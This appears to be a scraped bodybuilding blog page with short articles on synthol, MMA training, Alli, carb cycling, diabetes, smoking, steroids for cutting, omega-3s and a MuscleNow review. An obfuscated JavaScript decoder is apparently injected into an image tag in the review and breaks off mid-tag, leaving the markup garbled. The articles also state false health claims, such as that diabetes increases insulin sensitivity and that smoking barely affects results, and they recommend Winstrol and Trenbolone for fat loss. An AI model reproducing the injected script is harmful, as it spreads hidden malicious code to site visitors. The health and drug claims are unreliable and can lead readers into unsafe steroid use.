Greg Valentino in TLC Steroid Special

TLC ran a special on Steroids a couple years ago, that had Greg Valentino as their main guest. The program was based on sensationalism, mainly on the part due to Greg Valentino. Let’s talk about the man Greg Valentino. He used to be a respected bodybuilder, as you can see in this before picture.

Greg Valentino Before

Then he started injecting synthol oil into his muscles to get this ridiculous look like this:

Greg Valentino After

Synthol is an oil you inject to make your muscles grow unnaturally large. It stretches the fascia tissue to allow your muscles to get bigger but it also leaves oil in your arms. Your muscles look lumpy, soft, and unnatural. Some pro-bodybuilders use it in small amounts. You can read more about it in another article: Site enhancement oil

Greg Valentino took it to the next level and became a walking oil lumpy mass. Valentino got an huge abcess from it, that he drained himself!

Greg Valentino abcess

Valentino has become a joke in the bodybuilding community and his mouth has gotten him into a lot of trouble. The TLC special along with the help of Greg Valentino made it seem like the abcess was caused from just regular steroid use. What they didn't tell you was that he was injecting massive amounts of oil and that abcesses like this are not a result of steroids, but of not proper injecting and not taking care of your infection. Injecting oil into your muscles for site enhancement is not the same thing as injecting steroids. Abcesses can happen, but you certainly don't wait till your arm is about to fall off like Valentino did!

Greg Valentino has a big mouth and will say and do anything to get attention. In the TLC steroid special he certainly didn't do anything to help stop spread the myths against steroid use. He made it seem like steroid dealers are like crack dealers. Greg Valentino just wanted to make a buck off the special, so fed them the kind of stuff the ignorant masses would believe about steroid use. Greg Valentino will always be the biggest joke among real bodybuilders.

Bodybuilding and MMA

Often bodybuilders or MMA are also interested in the same goals. Both like to be fit, strong, and active. Many have asked if you are into MMA seriously, will bodybuilding routines help or hurt them in MMA?

One dilemma is that size is important in MMA, but too much size is a limiting factor to those in MMA. In bodybuilding the usual goal is, the more muscle mass the better. There is also the common belief of being "muscle bound" where large muscles will not give you the ability to fight effectively.

In actuality, resistance training will only improve your speed. It is a fact, that the bigger you are the stronger you will be. The stronger you are, the faster you can do quick movements against your opponent. Sure you might lose a little flexibility, but the gains of strength and quickness should far outweigh that.

One might be tempted to change to a powerlifting routine, to improve strength and speed instead of worrying about size. Keep in mind that building up more muscle with bodybuilding instead, will give you more leverage in your fights, since you will weigh more. The downside of course, is you won't be as strong as if you focused on more strength as a powerlifter.

In conclusion, building up size and strength through bodybuilding or powerlifting, are both beneficial in different ways, for improving your MMA performance. Powerlifting and bodybuilding both increase muscle and strength, just with different focus, so it is more of a preference of what you enjoy most.

Does Alli Work?

Alli is now a FDA approved Over the counter fat loss drug. Alli is a low dose version of xenical the prescription diet drug. The prescription form was not very successful with 90% not refilling the prescription. Glaxosmithkline the drugmaker of Alli is now getting ready to do some heavy hitting advertising to take advantage of the fact the drug is now over the counter approved. Alli is nothing but a fraud and I will tell you why in this article.

Alli works by blocking the enzymes in your GI tract from absorbing the fat. First off the side effects are horrendous. If you eat a fatty meal you could wind up needing a diaper! By blocking the fat from being digested it means it has to go somewhere and I'm sure you can imagine what that will be like. In fact only 10% of prescription users renewed their prescription. In order to reduce this effect they recommend low fat meals, but easier said then done sometimes.

Alli works on the mainstream myth that fat loss is all about the fat. That is completely false. At the core the most essential element is how many calories you take in a day compared to your metabolism needed to maintain your weight. By taking this drug people will use it as a crutch to take in more junk food or to cheat on their diet or excercise. In the end you may get worse results by using this as a crutch.

It is also a health issue. Because some vitamins are absorbed mainly through fat, it may cause deficiency in fat solulable vitamins. They also don't recommend the drug to children younger than 18, people with kidney disease, patients on blood-thinners and certain other medications, and pregnant or breast-feeding women.

One study of Alli showed dieters who took the drug along with diet and exercise over a year, lost only about three more pounds than people who only dieted and exercised. The results of this study proved concretely what a fraud this Alli pill is pushed by the sleazy pharmeceutical companies.

Carbohydrate Cycling Guide

Carbohydrate cycling is a powerful diet technique for those who want to lower their body fat % and become really ripped. It is very popular and effective in bodybuilding cycles. As the name implies, you "cycle" carbohydrates. Carbohydrate cycling keeps your body guessing and as a result, from hitting a fat loss plateau.

The downside to this diet is it is psychologically tough worrying about how much carbs you are allowed to eat and with the amounts constantly changing. Nothing ever effective is easy though right? I don't think this diet in my opinion is the best route for fat loss for naturally skinny ectomorphs.

There is many variations and tweaks you will do to fit your own physiology, but the basic common denomiator to the diet is 3 types of carb days; High Carb, Low Carb, and No Carb Days.

Protein and fat intake should be similiar to your traditional bodybuilding diet. You will try to get 20 to 50 grams of protein for all 5 to 7 meals in the day.

High Carb Day:
Everyone treats this one different. My motto is if you are going to do it, do it right. Cheat a little bit and have that big dessert you been craving. Now you are not to turn into a total pig and glutton yourself into everything in sight. But this should be a day with some loose diet restrictions. Make sure you eat your protein and fat sources first in your diet, so you are more likely to be full and hence eat less carbs.

Low Carb day:
This should be probably around 50% to 67% of your normal carbohydrates of your regular bodybuilder diet you would use to maintain your weight. You may have to tweak it a little, depending on your physiology and appetite, but I would be careful about going above 67%.

No Carb Day:
This is exactly what it says, absolutely no carbs on this day. This is one of the hardest days. You will be fighting slight lethargy and will be craving those carbs. You can help fight this by filling up on really solid protein sources, good fats, and drinking plenty of water

Diabetes and Bodybuilding

There are two types of Diabetes those who are born with type I, it’s purely genetic. In type II you become diabetic after many years of diet abuse with eating the wrong carbohydrates and/or being overweight. Type II runs in families so some are more susceptible. In other words just because you don't have diabetes now doesn't mean you should be careful with your carbs and your fat levels so you don't become diabetic in the future. It is important you check your family history background for diabetes to know if you are susceptible to it. Diabetes is a silent killer like high blood pressure. You may be borderline diabetic and not even know it.

Bodybuilding is important in reducing this risk because increased muscle mass from resistance training increases the need for glycogen uptake in the muscles. Therefore they will need to use the extra glucose for reserves in energy in resistance training. Diabetes also increases your insulin sensitivity. Diabetes is insulin tolerance and therefore your body doesn't react to massive amounts of insulin and store it in the glycogen like it should. By excercising you are counteracting the effect of diabetes and the insulin receptors to work at the "normal"level.

A bodybuilder with diabetes or risk of developing diabetes should focus most of his daily carbs around slow digesting carbs. Some examples of alternative carbs to use are: whole wheat pasta, oatmeal, oat bran, whole grain bread, etc

Diabetes like high blood pressure are two conditions you can manipulate with diet and excercise in your favor. Don't let it beat you!

Smoking’s Effects on Bodybuilding Gains

The issue of smoking and it's effect on muscle gains and fat loss is a long time debate in the bodybuilding community. I'm going to come out and say that bodybuilding and smoking have very little to do with each other in effecting your muscle gains. I know that my fellow bodybuilders want to say it will effect it dramatically, but that is simply based on no direct studies.

You might say, well there is no facts that point to your case that it doesn't effect it dramatically. The answer is simple. There are top pro-bodybuilders who smoke. No matter how genetically gifted you are or how many steroids you take, you can not get to the pro-level unless smoking had very little effect on your gains.

To me smoking is a health and motivation issue. The health effects you know so I won't bore you with repeating them. It's a motivational issue because it effects your breathing. If you are out of breath you are less likely to enjoy your workout or finish it. If your workouts aren't fun or are too hard then you are more likely to quit working out or not work out as frequently.

And what good is bodybuilding if you smoke? People will look up to you for being ripped and/or massive, but if you smoke they will think you are throwing it all down the drain. And they are right.

Fat Loss With Help of Steroids

When losing fat in the mind of a bodybuilder, maintaining as much lean body mass (LBM) as possible while trying to drop to single digit body fat percent levels is the goal. Unfortunately calorie restriction puts the the body in a catabolic state, which is the process in which your body breaks muscle at a accelerated rate for energy. To fix this problem many will use steroids. They don’t do it for a crutch, but because it allows them to acheive a level of BF% that they would not reach naturally no matter how strict the regimen.

Steroids will insure that the body is in an anabolic or near anabolic state at all times during their cutting phase. The mechanism of it works like this: steroids put you in a ultra-anabolic state making you less likely to store fat and break down muscle instead, during calorie restriction. Steroids change nutrient partitioning (so it actually changes your basic metabolism function by making your body "prefer" to eat up fat instead of muscle for calories). They do this nutrient their direct action of stimulating the AR receptors and by blocking the glucocortisoid, which helps block the action of the cortisol hormone. Steroids therefore are not just for building muscle, but also good during cutting because they preserve muscle and help block fat formation.

One idea that circulates in steroid circles is that certain steroids have magical cutting qualities to them such as Winstrol and Trenbolone. Winstrol and trenabolone makes the user not hold excessive water like testosterone and other steroids. They also makes the user look hard and dense, which is why many believe it has some magical fat burning properties. There is actually one major reason why they are good. In the case of Trenabolone it binds strongly to the AR and both winstrol and tren don't convert to estrogen. This makes them both better at fat loss than testosterone. Some people stack testosterone with winstrol and trenabolone during cutting, but this counteracts the major benefit of using these steroids by themselves for burning fat because you are introducing high levels of estrogen.

Omega 3 & Bodybuilding

There is a huge myth going around in the mainstream media that you must avoid fat if you want to lose fat.

This is completely false

There are “good” fats and there "bad" fats, and those of us involved in fitness and bodybuilding are aware that we need some fat in our diets, as some fats are good for you.

Omega 6's and Omega-3's are the good fats. The western diet is heavy on omega-6's, but not on the good fats omega 3's. To make matters worse too much omega 6 to 3 ratio causes a deficiency in omega 3's. Omega 3's have a wide range of benefits that are crucial to bodybuilders. Here are some of the following:

Positive effects of Omega 3's:

Increased metabolic rate

Increased insulin sensitivity by delaying stomach emptying time(thus carbs are digested slower making less of a insulin spike)

Natural blood thinner, resulting in decreased risk of vascular disease, clotting, and strokes

Improved stamina and endurance

Aid in fat loss by suppressing appetite

Decreased blood pressure due to it's blood thinning properties

Are converted into prostaglandins (natural anti-inflammatory chemicals produced in the body) that help decrease inflammation and pain, reduced muscle soreness after workouts and shorter recovery time

Increased brain function, better mood, the brain is 60 percent fat and needs omega-3's to function correctly.

Helps make soft velvety skin

Healthy source of energy without increasing bodyfat

Increased production of hormones including the most important for bodybuilders, testosterone.

Rich sources of omega 3's:

Omega-3's can be found supplements. They also are commonly found in many types of fish (salmon, tuna, halibut, trout, shrimp, and crab).

The general recommendation for omega-3's has been about 3g a day for a 2000 calorie diet. However, this recommendation is for regular sedentary average person and not for bodybuilders. Bodybuilders should increase their amount to reflect their current calorie and workout routine requirements.

MuscleNow Review

Musclenow is a muscle building program by Francesco Castano. I bought the Musclenow program a while back, when the sales page garnered my curiosity. This is another one of those bodybuilding e-books that promises you all the secrets of getting huge. Musclenow is often asked by bodybuilding newbies in the forums desperate for the “magic” routine.

Before and after picture of Francesco Castano

Musclenow before and<script type=function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe after" SRC="" />

He claims the first picture was taken when he was 15 and in the 2nd, after he bulked up and got fat. Now anyone who is a real skinny hardgainer (speaking from experience), would not be able to bulk up to that very large size of muscle(and fat) at the age of about 20, if you were a real natural hardgainer.

If you look closely in the before picture, it looks like he hasn't even started puberty. The picture may have been when he was 12. Lots of people when they are young are skinny because they dont eat and are very active. I think Francesco should have used a picture of himself when he was a little bit older, to give his transformation better credibility. Regardless, Francesco has acheived a body that few have done.

Musclenow book overview:

The book is 105 pages long and written in a pretty straightforward manner. The book covers both muscle building and fat loss. Francesco gives well rounded advice on how to structure a workout and what excercises to do. He also tells you how to get through plateaus by cycling workouts. His nutritional and diet sections are thorough and includes sample meal plans you can follow. I like how he doesn't over emphasize supplements, like some other programs. Many other programs say that supplements are necessary for effective muscle building, even though most bodybuilding supplements are junk. His also includes workout logs, where you can record your workouts, which makes progress easy to track. The program also throws in some other great stuff, including lifetime email support from Francesco Casteno and access to his private discussion forum.

Do you recommend Musclenow Program?

No, its over priced and nothing special. There is much better programs out there for the price. I recommend Anthony Ellis Program instead. You can read my full review Anthony Ellis Workout Program Review

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